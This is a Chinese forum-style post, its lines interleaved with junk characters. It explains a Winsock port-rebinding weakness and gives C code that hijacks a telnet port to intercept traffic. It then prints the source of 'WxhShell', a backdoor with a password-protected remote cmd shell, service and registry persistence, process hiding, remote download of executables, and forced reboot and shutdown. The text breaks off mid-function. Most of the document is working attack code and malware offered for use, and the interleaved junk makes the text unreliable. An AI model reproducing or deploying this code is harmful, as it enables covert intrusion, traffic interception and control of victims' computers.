在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
)1 0aDTlr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]nS9taEA PVq y\i saddr.sin_family = AF_INET;
#R=6$ g>?,,y6/w saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&fxyY( sBN4:8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]x_14$rk oe_,q&e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
NUY sQO) 5zJ#d}%}S" 这意味着什么?意味着可以进行如下的攻击:
gepYV} >y@3`u] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2c9]Ja3:6 q={3fm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
x5yZ+`Gc yle~hL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
a^L'- ( w\a9A#v, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@:u2{>Yl 5)K?:7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=-uk7uZM Y,%G5X@S< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#0M,g XR)I,@i`' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
KDAZG+u+ H? pWyc<, #include
N;av #include
`yb,z #include
:e4[isI #include
g5~1uU$O DWORD WINAPI ClientThread(LPVOID lpParam);
5~omZ,qe int main()
J$Ba*`~!! {
4[LzjC WORD wVersionRequested;
/#4BUfY
f DWORD ret;
[~rBnzb WSADATA wsaData;
gl6 *bB= BOOL val;
Y4/ !b SOCKADDR_IN saddr;
jDM^e4U.l SOCKADDR_IN scaddr;
<+7-^o_ int err;
!7kca#,X SOCKET s;
N5GQ2V SOCKET sc;
-}<W|r int caddsize;
Xn8r3Nb$A HANDLE mt;
y$pT5X G DWORD tid;
Ll6|Wh X wVersionRequested = MAKEWORD( 2, 2 );
gcs8Gl2 err = WSAStartup( wVersionRequested, &wsaData );
D\GP+Ota if ( err != 0 ) {
FBK6{rLMc printf("error!WSAStartup failed!\n");
g~=#8nJ return -1;
n&uD=- }
@k2nID^> saddr.sin_family = AF_INET;
}3mIj<I1; ]2B=@V t, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E2{SKIUm yn5yQ; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
M&O .7B1} saddr.sin_port = htons(23);
w6l8RNRe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-J*jW
N! {
VFwp .1oa! printf("error!socket failed!\n");
owc#RW9 7 return -1;
> jvi7 }
3YPoObY val = TRUE;
CVBy&o"6A //SO_REUSEADDR选项就是可以实现端口重绑定的
R`|GBVbv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[2cG 7A {
sHulaX{ printf("error!setsockopt failed!\n");
b]U%|bp return -1;
My!<_Hp-W }
Z:}d\~`x$% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"# mr?h_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
p}
}=li> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
e|ngnkf(G s|Acv4| V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'|i<?]U {
5*pCb,z>q ret=GetLastError();
J$D#)w!$j printf("error!bind failed!\n");
QR($KW( return -1;
J Covk1 }
5rpTR listen(s,2);
cUz7F while(1)
MRdZ ' {
pTlNJ!U> caddsize = sizeof(scaddr);
Ey!+rq} //接受连接请求
k:0HsN!F9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*L.+w-g&& if(sc!=INVALID_SOCKET)
<M|kOi {
ca1A9fvo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@t6B\ ?4'T if(mt==NULL)
RE(R5n28, {
u%vq<|~- printf("Thread Creat Failed!\n");
PN n{Rt break;
BK8)'9/ }
LHb(T`.= }
^H1B62_ CloseHandle(mt);
P'6eK? }
4b B)t# closesocket(s);
B6iH[dTy_ WSACleanup();
@m[r0i0J" return 0;
-%lA=pS{Fq }
'Bp7LtG92 DWORD WINAPI ClientThread(LPVOID lpParam)
h$EH|9HAb {
;V~[kF=t0 SOCKET ss = (SOCKET)lpParam;
c_li.]P SOCKET sc;
\ueo^p]_? unsigned char buf[4096];
Q9b.]W SOCKADDR_IN saddr;
E1'HdOh&z long num;
gSP]& _9j DWORD val;
J]A!>|Ic DWORD ret;
c3&;Y0SD //如果是隐藏端口应用的话,可以在此处加一些判断
E}d@0C: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{re<S<j& saddr.sin_family = AF_INET;
lV-b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`r:n[N=Y& saddr.sin_port = htons(23);
ShdE!q7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;{79d8/= {
tB_GEt2M printf("error!socket failed!\n");
f\}fUg2 return -1;
"+iPeRF!hU }
"RH pj3 si val = 100;
-#
[=1Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V(|@6ww {
%OeA"# ret = GetLastError();
<0r2m4z return -1;
w NlC2is }
mjDaus59 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tk@
T-; {
0wCJNXm ret = GetLastError();
LwV4p6A return -1;
+,&8U&~` }
0yhC_mI if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N|OI~boV% {
$
\j/s:Y printf("error!socket connect failed!\n");
_H9.AI closesocket(sc);
\YE(E04w57 closesocket(ss);
?CgqHmf\\( return -1;
'`#sOH }
N,9W18
@ while(1)
"NY[&S {
5G"DgG*< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
u:Fa1 !4JR //如果是嗅探内容的话,可以再此处进行内容分析和记录
E)l0`83~^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Nr?Z[6O| num = recv(ss,buf,4096,0);
wJs#rkW if(num>0)
7{%_6b" send(sc,buf,num,0);
);o2eV else if(num==0)
!e5!8z break;
PT7-_r num = recv(sc,buf,4096,0);
B8){ if(num>0)
}&+b\RE send(ss,buf,num,0);
uOzol~TU) else if(num==0)
tA2Py break;
'O%itCy) }
&DQyJJ`k closesocket(ss);
.v?x>iV closesocket(sc);
\wR $_X& return 0 ;
WZ\bm$
}
A
dNQS LO8`qq*rq SJg4P4| ==========================================================
V(hM@ztN TUw+A6u:p 下边附上一个代码,,WXhSHELL
{O ]^8#v^ W rB:)Q(8= ==========================================================
;m<22@,E& d<{>& #include "stdafx.h"
{t<E*5N]a ~:`5Y"Av: #include <stdio.h>
EDQKb TaPt #include <string.h>
v?Z30?_&h #include <windows.h>
F xek# #include <winsock2.h>
|$*1!pL-QP #include <winsvc.h>
d??;r: #include <urlmon.h>
LhN?j5XqM #|<\q* < #pragma comment (lib, "Ws2_32.lib")
ME.l{?v #pragma comment (lib, "urlmon.lib")
h$p]M^Z7 ,E8:!r)6 #define MAX_USER 100 // 最大客户端连接数
T?vM\o%i3 #define BUF_SOCK 200 // sock buffer
UoAHy%Y<% #define KEY_BUFF 255 // 输入 buffer
ZqtL4M~9 GRM:o)4;# #define REBOOT 0 // 重启
k!?sHUAj #define SHUTDOWN 1 // 关机
d}@b 3 K/xn4N_UX #define DEF_PORT 5000 // 监听端口
- BQoNEh Rcg q7W #define REG_LEN 16 // 注册表键长度
[{iPosQWj #define SVC_LEN 80 // NT服务名长度
{)V!wSi 8DAHaS; // 从dll定义API
<v&L90+s\; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
oeV.K. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
63'Rw'g^|2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dY=]ES}` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
o#GZ|9IL k }amSsE // wxhshell配置信息
f4%Z~3P struct WSCFG {
Z^tTR]u\$ int ws_port; // 监听端口
>A5*=@7bY? char ws_passstr[REG_LEN]; // 口令
0R2KI,WI int ws_autoins; // 安装标记, 1=yes 0=no
WC&V9Yk char ws_regname[REG_LEN]; // 注册表键名
<{ZDD]UGs0 char ws_svcname[REG_LEN]; // 服务名
'e&L53n char ws_svcdisp[SVC_LEN]; // 服务显示名
p.wed%O. char ws_svcdesc[SVC_LEN]; // 服务描述信息
bwrM%BL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
0m2%ucKw int ws_downexe; // 下载执行标记, 1=yes 0=no
m*bTELb char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/thFs4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1SAO6Wh C{{RU7iqc& };
EM2=g9y #VM+.75o1 // default Wxhshell configuration
qQ&=Z`p! struct WSCFG wscfg={DEF_PORT,
]>vC.iYp "xuhuanlingzhe",
`!,"">5 1,
.rPg "Wxhshell",
_HMQx_e0YM "Wxhshell",
k)j6rU "WxhShell Service",
={'3j "Wrsky Windows CmdShell Service",
cn~/P|B[ "Please Input Your Password: ",
p!oO}gE 1,
0P_=Oy"l- "
http://www.wrsky.com/wxhshell.exe",
/penB[1i "Wxhshell.exe"
NL^;C3u };
\wZ
4enm ~,^pya // 消息定义模块
WswM5RN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*XUJv&ZN char *msg_ws_prompt="\n\r? for help\n\r#>";
^;8dl.; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
et`1#_o char *msg_ws_ext="\n\rExit.";
HNUpgNi char *msg_ws_end="\n\rQuit.";
i'cGB5-j char *msg_ws_boot="\n\rReboot...";
]EN+^i1F[ char *msg_ws_poff="\n\rShutdown...";
j.]ln}b/'+ char *msg_ws_down="\n\rSave to ";
rF^H\U:w .8%&K0 char *msg_ws_err="\n\rErr!";
&0b\E73 char *msg_ws_ok="\n\rOK!";
pyw]ydB (G6lr%d char ExeFile[MAX_PATH];
X-4(oE int nUser = 0;
iv!; gMco HANDLE handles[MAX_USER];
+X%pUe int OsIsNt;
l;;,[xhq :Bh7mF-1 SERVICE_STATUS serviceStatus;
QBYY1)6S, SERVICE_STATUS_HANDLE hServiceStatusHandle;
1La?x'{2MP xcQD]" // 函数声明
uQhI) int Install(void);
`uwSxt int Uninstall(void);
=L\&}kzB int DownloadFile(char *sURL, SOCKET wsh);
49o /S2b4z int Boot(int flag);
ul-O3]\'@ void HideProc(void);
/$\N_`bM int GetOsVer(void);
/Moyn"Kj{ int Wxhshell(SOCKET wsl);
v) j3YhY void TalkWithClient(void *cs);
H'"=C&D~ int CmdShell(SOCKET sock);
Hg~8Td** int StartFromService(void);
>qy$W4 int StartWxhshell(LPSTR lpCmdLine);
j'uzjs[ qV#,]mX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
cy64xR BB VOID WINAPI NTServiceHandler( DWORD fdwControl );
Qef5eih M7fPaJKL // 数据结构和表定义
6vfut$)[{ SERVICE_TABLE_ENTRY DispatchTable[] =
{1"kZL {
u0Bz]Ux/Q {wscfg.ws_svcname, NTServiceMain},
`t7z
LC^c {NULL, NULL}
K_Pbzj4(P };
csFLBP h1~/zM/` // 自我安装
7](aPm8 int Install(void)
:IX_|8e ^ {
ms&6N'] char svExeFile[MAX_PATH];
r0Zj'F_e HKEY key;
C14"lB. strcpy(svExeFile,ExeFile);
HGao} @' /[qLf:rGI // 如果是win9x系统,修改注册表设为自启动
#e[S+a if(!OsIsNt) {
(j(hr'f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ofc
u4pi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/pC60y}O0 RegCloseKey(key);
:-Wh'H( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HPY;UN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gXj3=N(l RegCloseKey(key);
j.yh>"de return 0;
/s~BE ,su }
6/.kL;AI }
U6F7dT }
sis1Dh9: else {
y&A&d- '5lwlF // 如果是NT以上系统,安装为系统服务
(sW$2a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
mKLWz1GZ if (schSCManager!=0)
cte
Wl/v {
% kaV?j SC_HANDLE schService = CreateService
M_O) w^
' (
6o1[fr schSCManager,
Y%!k'\n[2 wscfg.ws_svcname,
{wl7&25 wscfg.ws_svcdisp,
-bgj<4R$p SERVICE_ALL_ACCESS,
cpm *m"Nk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y5j ;Daq SERVICE_AUTO_START,
~J0r%P SERVICE_ERROR_NORMAL,
t~|`RMn" svExeFile,
?@^gpVK{ NULL,
BS2'BS8 NULL,
6"9(ce
KX NULL,
K}DrJ/s NULL,
\8)FVpS NULL
mLV0J ' );
(~NR."s; if (schService!=0)
OD~yIV {
DH"_.j CloseServiceHandle(schService);
JkEITuTth CloseServiceHandle(schSCManager);
y[/:?O}g4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)m
Ii. strcat(svExeFile,wscfg.ws_svcname);
,va2:V
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~uG/F?= Q: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q#F+^)DD [ RegCloseKey(key);
Jv8VM\* return 0;
VHLt,?G }
yuhY )T }
ey$H2zmo CloseServiceHandle(schSCManager);
^e]h\G }
DB0?H+8t }
I :8s 3; im9Pj b% return 1;
NOFH }
oz%{D@CF vCn~-Q // 自我卸载
RJ-J/NhWyI int Uninstall(void)
jw)c|%r> {
psuK\s HKEY key;
ky'G/z BO+to. if(!OsIsNt) {
./<giTR:p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NAO0b5-h RegDeleteValue(key,wscfg.ws_regname);
+1a2Un RegCloseKey(key);
<.{OIIuk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T[-Tqi NT RegDeleteValue(key,wscfg.ws_regname);
$,o@&QT?AT RegCloseKey(key);
_z\qtl~3 return 0;
DG,m;vg+ }
'8LHX6FXK }
6%V#_] }
6A4{6B else {
[xXV5 JU 55Xfu/hQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Xif>ZL?aXb if (schSCManager!=0)
#dFE}!"#` {
L% T%6p_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[KMS/'; ] if (schService!=0)
{>3w"(f7o {
Bw.?Me)mf| if(DeleteService(schService)!=0) {
keJ-ohv) CloseServiceHandle(schService);
eI@G B CloseServiceHandle(schSCManager);
of'H]IZ return 0;
U%K gLg# }
pIPjTQ?cq CloseServiceHandle(schService);
{5SJ0'.B2g }
!N/?b^y CloseServiceHandle(schSCManager);
FX+^S?x. }
UoJMOw[ }
-3SRGr C9j5Pd5q1L return 1;
"uBr]N: }
6Z-[-0o+g \wp8kSzC // 从指定url下载文件
} 7i}dyQv} int DownloadFile(char *sURL, SOCKET wsh)
k~]\kv= {
w69G6G( HRESULT hr;
sh%%U char seps[]= "/";
"R[6Q ^vw char *token;
rUmnv%qTS char *file;
^ lG^. char myURL[MAX_PATH];
ze`qf% char myFILE[MAX_PATH];
scZ'/(b-E $oIGlKc:L strcpy(myURL,sURL);
iJk/fvi token=strtok(myURL,seps);
!6_tdZ while(token!=NULL)
zTze% {
{/XU[rn file=token;
7mYBxE/ token=strtok(NULL,seps);
/?C6oj1 }
;_1> nXh o2^?D`Jr GetCurrentDirectory(MAX_PATH,myFILE);
tp b(.`G strcat(myFILE, "\\");
c#pVN](? strcat(myFILE, file);
gWy2E;"a send(wsh,myFILE,strlen(myFILE),0);
aIE\B4w send(wsh,"...",3,0);
eD N%p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GEAVc9V if(hr==S_OK)
NTSKmCvQG return 0;
HgRfMiC else
]2xoeNF/W{ return 1;
BtP*R,> [,qb)
&_ }
DO?
bJ01 =e]Wt/AQ // 系统电源模块
]K%D$x{+\ int Boot(int flag)
8;P_KRaE {
_1?Fyu&<5 HANDLE hToken;
jqy?Od) TOKEN_PRIVILEGES tkp;
N-GQ\& RH<C:!F^ if(OsIsNt) {
nb|"dK| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
hN_,Vyf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D 3}e{J8 tkp.PrivilegeCount = 1;
|Vc:o_n7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u=6{P(5$j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:6frx=< if(flag==REBOOT) {
z(beT e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
h9 3 return 0;
EB>rY }
q8vRUlf else {
[>f4&yY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@0rwvyE=+3 return 0;
3WF6bJN }
_xXDvBU }
jz$83TB- else {
bq`0$c%hN if(flag==REBOOT) {
W$Zc;KRz$0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
LL=nMoS return 0;
Jx= v6==7 }
h2edA#bub else {
o8S)8_3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
UjQi9ELoJ return 0;
f5QJj<@ }
g/m%A2M&aH }
,h$j%->U 3mM.#2=@> return 1;
atWAhN }
XWFuAE ]#oqum@Yf1 // win9x进程隐藏模块
(#k2S-5 void HideProc(void)
^7%
KS {
B\Y!5$ S#,
E)h/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f<G:}I if ( hKernel != NULL )
)haHI)xR {
*G0r4Ui$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-* ;`~5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#$9rH
2zd FreeLibrary(hKernel);
o*WI*Fb' }
a"0'cgB} z"lRfOWI return;
jP|(y]! }
\muC_9ke )|@UY(VZ^ // 获取操作系统版本
nxh9'"th int GetOsVer(void)
~WG#Zci- {
p![CH OSVERSIONINFO winfo;
&za~=+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ssC5YtF7X GetVersionEx(&winfo);
tmI2BBv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
goV[C]| return 1;
BpKgUwf;C else
A PR%ZpG return 0;
6?c(ue iL[ }
I~>L4~g) h47l;`kD-# // 客户端句柄模块
/0H39]y!~ int Wxhshell(SOCKET wsl)
ROHr%'owgL {
,4%'~8'3 SOCKET wsh;
yjP;o`z% struct sockaddr_in client;
(S#4y DWORD myID;
nfMQ3KP 8"g.Z* while(nUser<MAX_USER)
e
RjpR?!\ {
)v67wn*1A int nSize=sizeof(client);
H A(e wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Lqv5"r7eV if(wsh==INVALID_SOCKET) return 1;
]n:)W.|`R r:Xui- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
L?n*b if(handles[nUser]==0)
<ctn_"p Z closesocket(wsh);
}Ik{tUS$ else
If_S_A c nUser++;
JOIbxU{U_ }
&~7b-foCq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A@0%7xm ^KJIT3J(# return 0;
Gm.n@U p }
]l'W=_XDg }9xEA[@; // 关闭 socket
J$?*qZ(oO void CloseIt(SOCKET wsh)
8vcV-+x {
{>cO&eiCt closesocket(wsh);
ivbuS-f=r nUser--;
Whq@>pX8 ExitThread(0);
ymBevL }
_KkLH\1g$ V4OhdcW{ // 客户端请求句柄
b!ZXQn3X< void TalkWithClient(void *cs)
aMFUJrXo {
n(b(H`1n ##!)}i SOCKET wsh=(SOCKET)cs;
wKCHG/W char pwd[SVC_LEN];
y$At$i>u char cmd[KEY_BUFF];
XY8s \DK char chr[1];
\@4_l?M int i,j;
5"5D( ( {H5k'' while (nUser < MAX_USER) {
Rt<8&.m4 t "J"G@1) if(wscfg.ws_passstr) {
zZ|Si if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1;[\xqJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o~F @1 //ZeroMemory(pwd,KEY_BUFF);
q@p-)+D; i=0;
!\H!9FR while(i<SVC_LEN) {
"Kz=ZC 4cql?W (D // 设置超时
?s("@dz_ fd_set FdRead;
d"|XN{ struct timeval TimeOut;
oO|zRK1;/ FD_ZERO(&FdRead);
lV-7bZ FD_SET(wsh,&FdRead);
)dJaF#6j TimeOut.tv_sec=8;
RvYH(!pQ TimeOut.tv_usec=0;
# a
'h, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
m[C-/f^u| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*/n)_ +!V*{<K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/)xG%J7H pwd
=chr[0]; u|7d_3 ::
if(chr[0]==0xd || chr[0]==0xa) { Mrp'wF
D
pwd=0; 4XDR?KUM
break; k|,pj^
} 2@o_7w98
i++; FG-w7a2mn
} Nf>1`eP
QtQku1{
// 如果是非法用户,关闭 socket +n]U3b
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]S[zD|U%
} m El*{]
IEdC
_6G
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |*7uF<ink6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a8-2:8Su
Rv6{'\:
while(1) { !Ljs9 =UF
#:Di1I9<O7
ZeroMemory(cmd,KEY_BUFF); |$":7)eH!
AU}P`fT!
// 自动支持客户端 telnet标准 jpqq>Hbg_
j=0; I;L$Nf{v
while(j<KEY_BUFF) { O k_I}X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EW$ Je
cmd[j]=chr[0]; REhXW_x
if(chr[0]==0xa || chr[0]==0xd) { 2"NRnCx*
cmd[j]=0; LKG],1n-
break; FK{YRt
} 3KfZI&g
j++; -,et. *
} (j+C&*u
"TKf"zc
// 下载文件 2s;/*<WM
if(strstr(cmd,"http://")) { gqJ&Q
t#f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %FQMB
if(DownloadFile(cmd,wsh)) FZnkQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O: sjf?z
else KGkzE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LGPy>,!
} t(CdoE,6
else { 6z"fBF
$GUSTV
switch(cmd[0]) { XZA3TZ
3~BL!e,
// 帮助 }#q9>gx
case '?': { -[v:1\Vv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O1coay
break; Y*3qH]
} }3Pz{{B&+O
// 安装 ;'dw`)~jQ
case 'i': { &Hc8u,|
if(Install()) GdR>S('
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ";9cYoKRY
else +}>whyX1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?{$Q'c_I
break; `ItMn&P
} U}6'_ PRQ
// 卸载 /9|1eSUa
case 'r': { |v}"UW(y
if(Uninstall()) ,m!j2H}8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \^?BC;s^C
else 9">}@1k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Ten2(D
break; abWmPi
} rZe"*$e
// 显示 wxhshell 所在路径 IO`.]iG
case 'p': { >f19P+
char svExeFile[MAX_PATH]; 57)S"
strcpy(svExeFile,"\n\r"); s7SW4ff1
strcat(svExeFile,ExeFile); $uawQf+S
send(wsh,svExeFile,strlen(svExeFile),0); 8N!E`{W
break; w]UYD;f
} Mvrc[s+o
// 重启 F^IYx~:
case 'b': { [L|H1ll
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AGn:I??
if(Boot(REBOOT)) LCRreIIgZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9]VUQl9gh
else { >z
h
closesocket(wsh); ]o_Z3xXUa
ExitThread(0); ?BQZ\SXU
} X7{ueP#L
break; [E2afC>zrl
} 23qTmh
// 关机 R"Hhc(H
case 'd': { :+/V
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,JN2q]QPP
if(Boot(SHUTDOWN)) fg%I?ou
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4s^5t6
else { -wC;pA#o
closesocket(wsh); U'UV=:/-
ExitThread(0); }/[tB
} ={W;8BUV%^
break; "dXRUg"
} 4!d&Zc>C4
// 获取shell Q{UR3U'Q
case 's': { Zb8Ty~.\P
CmdShell(wsh); F5wCl2I
closesocket(wsh); 234OJ?
ExitThread(0); j@v*q\X&
break; IaH8#3+a
} C&,&~^_F
// 退出 #!OCEiT_
case 'x': { KFdV_e5lU
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]=2Ba<)m
CloseIt(wsh); Av^{$9yl
break; f`.8.1Rd
} O>wGc8Of\
// 离开 OlK3xdg7
case 'q': { "L|Ew#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gtyo~f
closesocket(wsh); MmI4J$F
WSACleanup(); rBkLwJ]
exit(1); \s<{V7tq
break; 2w'Q9&1~
} 0_}OKn)J
} (\, <RC\
} ?5Wj y
@R_a'v-
// 提示信息 4v33{sp
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wxkCmrV
}
nk>
} 3DV';
.|JJyjRA+
return; v98=#k!F
} Mhm3u
}\:3}'S.$
// shell模块句柄 xKWqDt
int CmdShell(SOCKET sock) 2xhwi.u
{ HlqCL1\<
STARTUPINFO si; \-0@9E<D
ZeroMemory(&si,sizeof(si)); `L`qR,R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ah;2\0|t
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^G[xQcM73
PROCESS_INFORMATION ProcessInfo; -X'HZ\)
char cmdline[]="cmd"; bvuoGG*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zIi|z}WJ
return 0; ]iRE^o6
} wOOBW0tj
dQYb)4ir
// 自身启动模式 ^ ~:f02[D
int StartFromService(void) gD3s,<>o
{ Gi~p-OS,
typedef struct 2qo=ud
{ ~YA*
RCe
DWORD ExitStatus; \{t#V
~
DWORD PebBaseAddress; a*$to/^r
DWORD AffinityMask; m vO!Y
DWORD BasePriority; k<Z^93 S
ULONG UniqueProcessId; )XmV3.rI
